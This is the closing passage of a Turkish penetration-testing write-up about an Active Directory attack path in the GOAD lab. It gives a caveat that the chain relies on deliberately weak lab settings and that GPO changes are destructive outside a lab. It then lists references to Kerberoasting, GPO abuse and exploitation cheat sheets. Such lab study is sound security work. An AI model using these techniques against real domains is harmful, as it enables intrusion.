Yol, GOAD'ın kasıtlı servis hesabı parolalarına, delegasyon kayıtlarına ve GPO sahipliğine bağlıdır. Bu nedenle her alt domain'den controller'a uzanan evrensel bir rota olarak okunmamalıdır. Bu ayrım önemli: Laboratuvarda tekrarlanabilen bir zincir, üretimde aynı koşullar sağlanmadan çalışmayabilir. GPO değişikliği laboratuvar dışında yıkıcıdır; doğrulamadan sonra ortam snapshot'tan sıfırlandı ve hiçbir üretim politikası değiştirilmedi.

## Kaynaklar

- **Orange Cyberdefense, GOAD:** [orange-cyberdefense.github.io/GOAD](https://orange-cyberdefense.github.io/GOAD/)
- **S1ckB0y1337, AD Exploitation Cheat Sheet:** [github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet](https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet)
- **HackTricks, AD Methodology:** [book.hacktricks.xyz](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology)
- **MITRE ATT&CK, Kerberoasting (T1558.003):** [attack.mitre.org/techniques/T1558/003](https://attack.mitre.org/techniques/T1558/003/)
- **MITRE ATT&CK, Domain Policy Modification: GPO (T1484.001):** [attack.mitre.org/techniques/T1484/001](https://attack.mitre.org/techniques/T1484/001/)
- **Microsoft, Kerberos Constrained Delegation overview:** [learn.microsoft.com](https://learn.microsoft.com/en-us/windows-server/security/kerberos/kerberos-constrained-delegation-overview)
